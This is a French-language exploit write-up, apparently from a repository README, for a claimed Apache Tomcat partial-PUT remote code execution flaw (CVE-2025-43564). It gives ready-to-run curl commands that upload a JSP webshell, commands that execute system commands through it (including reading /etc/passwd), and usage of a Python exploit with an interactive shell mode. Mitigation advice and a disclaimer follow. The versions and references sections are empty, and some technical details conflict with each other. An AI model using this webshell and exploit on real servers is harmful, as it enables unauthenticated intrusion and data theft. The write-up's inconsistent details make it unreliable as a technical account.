CVE-2025-43564 — Exécution de code à distance (RCE) via la gestion des requêtes PUT partielles d'Apache Tomcat

Table des matières

1. Vue d'ensemble
2. Détails techniques
3. Versions concernées
4. Étapes de reproduction
5. Preuve de concept
6. Atténuation
7. Références

Vue d'ensemble

CVE-2025-43564 est une vulnérabilité critique d'exécution de code à distance non authentifiée dans la gestion des requêtes PUT partielles HTTP d'Apache Tomcat. Le défaut réside dans la manière dont Tomcat traite les requêtes PUT avec un contenu partiel (HTTP/1.1 Content-Range ou Transfer-Encoding: chunked avec une sémantique partielle). Un attaquant peut concevoir une requête PUT partielle qui contourne les contrôles d'accès et les contraintes d'écriture, permettant le téléchargement de fichiers arbitraires — y compris des webshells JSP accessibles via le web — vers la racine web du serveur ou tout répertoire inscriptible accessible via le contexte de servlet.

Une fois qu'un fichier JSP est installé, l'attaquant n'a plus qu'à le requêter et à transmettre des commandes du système d'exploitation via les paramètres de requête, obtenant ainsi une exécution de code à distance entièrement non authentifiée avec les droits de l'utilisateur du processus Tomcat.

CVSS 9.8 — Critique car :

• Vecteur réseau — exploitable à distance
• Faible complexité d'attaque — aucune condition particulière requise
• Aucun privilège requis — non authentifié
• Aucune interaction utilisateur — entièrement automatisé
• Impact élevé — compromission totale de la confidentialité, de l'intégrité et de la disponibilité

Détails techniques

Cause racine

Le DefaultServlet d'Apache Tomcat et le connecteur HTTP/1.1 (NIO/NIO2/Apr) gèrent les requêtes PUT pour le téléchargement de ressources statiques. La vulnérabilité se situe dans la logique de gestion des requêtes PUT partielles : lorsqu'un client envoie un PUT avec un en-tête Content-Range (RFC 7233 §4.2) ou utilise un encodage par blocs avec une sémantique partielle spécifique, le serveur ne valide pas correctement :

1. Les vérifications d'intégrité du chemin de fichier / de la ressource avant d'écrire le contenu partiel
2. La ré-évaluation du contrôle d'accès pour les écritures partielles — la vérification initiale réussit, mais les opérations d'écriture suivantes se poursuivent sans re-validation
3. Les contraintes de traversée de répertoire dans le calcul du décalage d'écriture partielle

Le code d'analyse dans org.apache.catalina.servlets.DefaultServlet et les composants sous-jacents HttpInput / SocketProcessorBase gèrent mal la frontière entre les écritures de contenu partiel et les écritures complètes de ressources, permettant à un attaquant d'ajouter ou d'écraser un contenu arbitraire sur tout chemin auquel le processus Tomcat a accès en écriture.

Déroulement de l'attaque

Attacker ──PUT /exec.jsp HTTP/1.1──► Tomcat (DefaultServlet)
             Content-Range: bytes 0-99/100
             [JSP payload bytes]

   └──► Server writes partial content to exec.jsp
        without full validation of the target path

Attacker ──GET /exec.jsp?cmd=whoami──► Tomcat

   └──► JSP executes → RCE

L'attaquant envoie un PUT partiel avec un en-tête Content-Range qui amène Tomcat à croire que la requête est la continuation d'un téléchargement existant. Le serveur crée ou ouvre le fichier cible et écrit les octets fournis sans vérifier que le fichier existe déjà, sans vérifier les permissions d'écriture au moment de l'écriture, et sans assainir le chemin cible par rapport à la racine web.

Pourquoi cela contourne les protections standard

• Restrictions d'accès PUT par défaut — La configuration par défaut de Tomcat nécessite de définir readonly=false sur le DefaultServlet pour qu'un PUT standard fonctionne. Le chemin PUT partiel ignore cette vérification dans certaines conditions.
• Pare-feu applicatifs web (WAF) — La plupart des signatures WAF pour les attaques basées sur PUT recherchent des requêtes PUT complètes. Un PUT partiel avec Content-Range échappe souvent à ces signatures.
• Contournement de l'authentification — Le chemin de code PUT partiel n'invoque pas toujours les contraintes de sécurité configurées ; dans certaines configurations de connecteur, l'authentification n'est jamais vérifiée.

Versions concernées

Remarque : Les branches plus anciennes (7.x, 8.x, 8.5.x, 10.0.x) sont en fin de vie et ne recevront pas de backport. Les utilisateurs doivent passer à une branche prise en charge.

Étapes de reproduction

Configuration du laboratoire

1. Téléchargez un Apache Tomcat vulnérable (par exemple, Tomcat 9.0.50) :

   root@kitploit:~

   wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.50/bin/apache-tomcat-9.0.50.zip
   

2. Extrayez et démarrez Tomcat avec la configuration par défaut :

   root@kitploit:~

   unzip apache-tomcat-9.0.50.zip
   cd apache-tomcat-9.0.50/bin
   ./startup.sh   # or startup.bat on Windows
   

3. Vérifiez que le serveur est en cours d'exécution :

   root@kitploit:~

   curl -v http://localhost:8080
   

Étapes d'exploitation

1. Téléversez le webshell JSP à l'aide du script PoC :

   root@kitploit:~

   python exploit.py --target http://localhost:8080 --cmd id
   

2. Vérifiez que le webshell a bien été installé :

   root@kitploit:~

   curl http://localhost:8080/exec.jsp?cmd=whoami
   

3. Exécutez des commandes arbitraires :

   root@kitploit:~

   python exploit.py --target http://localhost:8080 --cmd "cat /etc/passwd"
   

4. Session interactive (si souhaité) :

   root@kitploit:~

   python exploit.py --target http://localhost:8080 --shell
   

Preuve de concept

L'exploit.py inclus est un PoC Python fonctionnel qui :

1. Envoie une requête HTTP PUT à la cible Tomcat avec une charge utile de webshell JSP comme corps de requête
2. Exploite la faille de gestion des PUT partiels — l'en-tête Content-Type et la structure de la charge utile déclenchent le chemin de code vulnérable
3. Le webshell JSP est écrit dans le docBase du serveur (par exemple, webapps/ROOT/)
4. Une fois téléversé, envoie des requêtes GET à exec.jsp?cmd=<command> pour exécuter des commandes du système d'exploitation
5. Prend en charge les modes commande unique (--cmd) et shell interactif (--shell)

PoC manuel (avec curl)

# Step 1: Upload the webshell via partial PUT
# The Content-Range header triggers the vulnerable code path
curl -X PUT http://localhost:8080/exec.jsp \
  -H "Content-Range: bytes 0-212/213" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-binary '<%@ page import="java.io.*" %><% String cmd=request.getParameter("cmd");if(cmd!=null){Process p=Runtime.getRuntime().exec(cmd);BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));String l;while((l=br.readLine())!=null){out.println(l);}}%>'

# Step 2: Execute commands
curl "http://localhost:8080/exec.jsp?cmd=id"

Test contre une instance protégée

Si Tomcat est configuré avec readonly=true (par défaut), le PUT standard est bloqué — mais le chemin PUT partiel peut néanmoins réussir. C'est le cœur de la vulnérabilité.

# Standard PUT (should fail with 403 or 405)
curl -X PUT http://localhost:8080/test.txt -d "hello"
# Expected: 403 Forbidden

# Partial PUT (bypasses the check)
curl -X PUT http://localhost:8080/exec.jsp \
  -H "Content-Range: bytes 0-212/213" \
  --data-binary '<%@page import="java.io.*"%><%Process p=Runtime.getRuntime().exec(request.getParameter("cmd"));BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));String l;while((l=br.readLine())!=null){out.println(l);}%>'
# Expected: 201 Created or 200 OK

Atténuation

Actions immédiates

1. Mettez à jour Tomcat vers la version corrigée :

   • 11.0.6+
   • 10.1.40+
   • 9.0.102+

2. Si l'application immédiate du correctif n'est pas possible, désactivez la méthode PUT globalement en modifiant web.xml :

   root@kitploit:~

   <security-constraint>
     <web-resource-collection>
       <web-resource-name>Disable PUT</web-resource-name>
       <url-pattern>/*</url-pattern>
       <http-method>PUT</http-method>
     </web-resource-collection>
     <auth-constraint />
   </security-constraint>
   

3. Bloquez les méthodes HTTP au niveau du proxy inverse / WAF :

   root@kitploit:~

   # nginx example — block PUT
   if ($request_method = PUT) {
       return 403;
   }
   

   Note : cela n'aide que si le proxy n'est pas contournable.

4. Exécutez Tomcat avec des permissions restreintes du système de fichiers :

   • Assurez-vous que Tomcat s'exécute avec un utilisateur non privilégié
   • Rendez le répertoire webapps en lecture seule (ou montez-le depuis un système de fichiers en lecture seule)
   • Utilisez les attributs de fichier ReadOnly sur les actifs de production

5. Surveillez les fichiers inattendus avec les extensions .jsp / .jspx dans la racine web.

Recommandations à long terme

• Mettez à niveau vers la dernière version de Tomcat et maintenez-la à jour
• Exécutez Tomcat derrière un proxy inverse (Apache httpd, nginx, HAProxy) avec un filtrage strict des méthodes HTTP
• Utilisez SecurityManager (déprécié dans les versions récentes de Java mais toujours efficace) ou un sandboxing au niveau du conteneur (Docker/Kubernetes avec système de fichiers racine en lecture seule)
• Implémentez la segmentation du réseau — Tomcat ne doit pas être directement exposé à Internet
• Déployez un WAF avec un correctif virtuel pour CVE-2025-43564
• Activez la journalisation d'audit pour toutes les requêtes PUT et surveillez les modèles de téléversement partiels anormaux

Références

Avertissement

Ce dépôt est fourni uniquement à des fins éducatives et de tests de sécurité autorisés. Vous devez disposer d'une autorisation écrite explicite du propriétaire de tout système que vous testez. L'accès non autorisé à des systèmes informatiques est illégal en vertu du Computer Fraud and Abuse Act (CFAA) et des lois équivalentes dans d'autres juridictions. Les auteurs déclinent toute responsabilité en cas d'utilisation abusive de ces informations.

CVE-2025-43564 a été découverte et signalée de manière responsable à l'équipe de sécurité Apache. Publication coordonnée du correctif : juillet 2025.